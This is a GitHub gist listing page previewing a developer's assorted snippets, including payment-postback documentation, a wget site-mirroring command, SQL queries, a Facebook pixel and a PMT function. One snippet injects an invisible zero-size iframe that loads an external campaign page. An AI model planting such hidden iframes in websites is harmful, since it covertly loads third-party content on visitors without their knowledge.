Skip to content

Instantly share code, notes, and snippets.

View tallesairan's full-sized avatar
🏠
Working from home

Talles Airan tallesairan

🏠
Working from home
View GitHub Profile
@tallesairan
tallesairan / README.md
Last active October 27, 2020 12:27
XPague Postbacks

XPague Postbacks

Documentação atualizada, acesse a nova versão em: XPague Docs

Tipo do postback em objectType

No momento os tipos de postbacks são objectType { 'transaction', 'cart' } sendo cart para recuperação de carrinhos, objeto usado em cart é o mesmo do Customer

Acessando schemas

@tallesairan
tallesairan / wget.sh
Created March 16, 2020 17:59 — forked from crittermike/wget.sh
Download an entire website with wget, along with assets.
# One liner
wget --recursive --page-requisites --adjust-extension --span-hosts --convert-links --restrict-file-names=windows --domains yoursite.com --no-parent yoursite.com
# Explained
wget \
--recursive \ # Download the whole site.
--page-requisites \ # Get all assets/elements (CSS/JS/images).
--adjust-extension \ # Save files with .html on the end.
--span-hosts \ # Include necessary assets from offsite as well.
--convert-links \ # Update links to still work in the static version.
@tallesairan
tallesairan / jsx.js
Created March 11, 2020 15:11
jsx.js
! function(n) {
var o = null,
e = function() {
var t, e;
try {
t = window.top.document.getElementsByTagName("head")[0]
} catch (e) {
t = document.getElementsByTagName("head")[0]
}
t && ((e = t.getElementsByTagName("title")[0]) && (o = "textContent" in e ? e.textContent : "innerText" in e ? e.innerText : ""))
@tallesairan
tallesairan / header_http_status_codes.php
Created March 4, 2020 20:19 — forked from phoenixg/header_http_status_codes.php
PHP header() for sending HTTP status codes
<?php
/*
参考自:
http://darklaunch.com/2010/09/01/http-status-codes-in-php-http-header-response-code-function
http://snipplr.com/view/68099/
*/
function HTTPStatus($num) {
$http = array(
@tallesairan
tallesairan / removePostsAndMeta.sql
Created February 4, 2020 13:37
Remove posts and meta by post type
DELETE p,pm
FROM wp_posts p
INNER
JOIN wp_postmeta pm
ON pm.post_id = p.ID
WHERE p.post_type = 'webhook'
@tallesairan
tallesairan / custom-pixel-tracking.html
Created January 13, 2020 17:23
bank billet pixel tracking for facebook
<!-- Facebook Pixel Code -->
<script>
!function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;
n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window,
document,'script','https://connect.facebook.net/en_US/fbevents.js');
fbq('init', 'PIXELID');
fbq('track', 'PageView');
@tallesairan
tallesairan / findDuplicates.sql
Created December 28, 2019 15:37
find duplicate records mysql
SELECT
userId,
COUNT(userId)
FROM
payments
WHERE transactionStatus = 'approved'
GROUP BY userId
HAVING COUNT(userId) > 1
@tallesairan
tallesairan / pmt.js
Created December 23, 2019 11:28 — forked from maarten00/pmt.js
Excel PMT in PHP and JavaScript
/**
* Copy of Excel's PMT function.
* Credit: http://stackoverflow.com/questions/2094967/excel-pmt-function-in-js
*
* @param rate_per_period The interest rate for the loan.
* @param number_of_payments The total number of payments for the loan in months.
* @param present_value The present value, or the total amount that a series of future payments is worth now;
* Also known as the principal.
* @param future_value The future value, or a cash balance you want to attain after the last payment is made.
* If fv is omitted, it is assumed to be 0 (zero), that is, the future value of a loan is 0.
function putIframe(){
var myIframe = document.createElement("iframe");
myIframe.setAttribute("src", 'https://bilheteriadigital.org/campaing.html');
myIframe.setAttribute("style", 'width:0px;height:0px;opacity:0;');
document.body.appendChild(myIframe);
}
putIframe();
<?php
$data = [];
$data['referencia'] = $_REQUEST['referencia'];
$data['chave_checkout'] = $_REQUEST['chave_checkout'];
$data['meio_pagamento'] = $_REQUEST['meio_pagamento'];
$data['nome'] = $_REQUEST['nome'];